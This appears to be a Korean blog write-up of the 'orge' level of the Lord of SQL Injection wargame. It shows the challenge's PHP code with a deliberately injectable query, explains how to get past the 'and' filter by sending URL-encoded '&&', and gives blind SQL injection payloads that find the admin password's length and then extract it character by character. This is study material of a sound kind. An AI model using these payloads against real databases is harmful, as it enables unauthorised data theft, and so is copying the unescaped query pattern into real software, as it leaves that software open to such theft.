<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
저번 문제와 형식이 같은 blind sql Injection 문제.
필터링 : and
우회 : && ( = %26%26)
&& 를 주소창에 그대로 입력하니 문자가 없어진다. && 뒤에 다른 내용을 입력하면 해당내용도 모두 없어진다. 다시 한번 생각해보면, URL의 메타문자로써 데이터를 이어주는 연결을 하는 문자가 바로 &이다. 그렇게 때문에 &문자를 메타문자로 인식하고 $_GET[pw]가 아닌 다음 데이터로 인식하고 $_GET[pw] 밖으로 넘겨버리기때문.
데이터 전송
ex ) id=admin&pw=good
이럴 때, 직접 &&를 주소창에 넣어주는게 아니라 &&을 데이터 형식으로 인식시키게끔 URL Encoding하여 %26%26로 보내주면 우리의 의도대로 전달할 수 있다. (&&를 그대로 넘겨주면 &가 데이터를 구분짓는 메타문자로 인식되기 때문에, 데이터로 인식되도록 Url Encoding된 값을 넘겨준다)
query : select id from prob_orge where id='guest' and pw='1'||id='admin' && length(pw)=8 && '1'
-> true
비밀번호 8자리.
이번엔 프로그램을 사용했다.
query : select id from prob_orge where id='guest' and pw='1'||id='admin' && ascii(substr(pw,x,1))=y && '1'
query : select id from prob_orge where id='guest' and pw='7b751aec'
'[보안] > [LOS]' 카테고리의 다른 글
[LOS] VAMPIRE (0) | 2020.12.13 |
---|---|
[LOS] TROLL (0) | 2020.12.13 |
[LOS] DARKELF (0) | 2020.12.13 |
[LOS] WOLFMAN (0) | 2020.12.12 |
[LOS] ORC (0) | 2020.12.11 |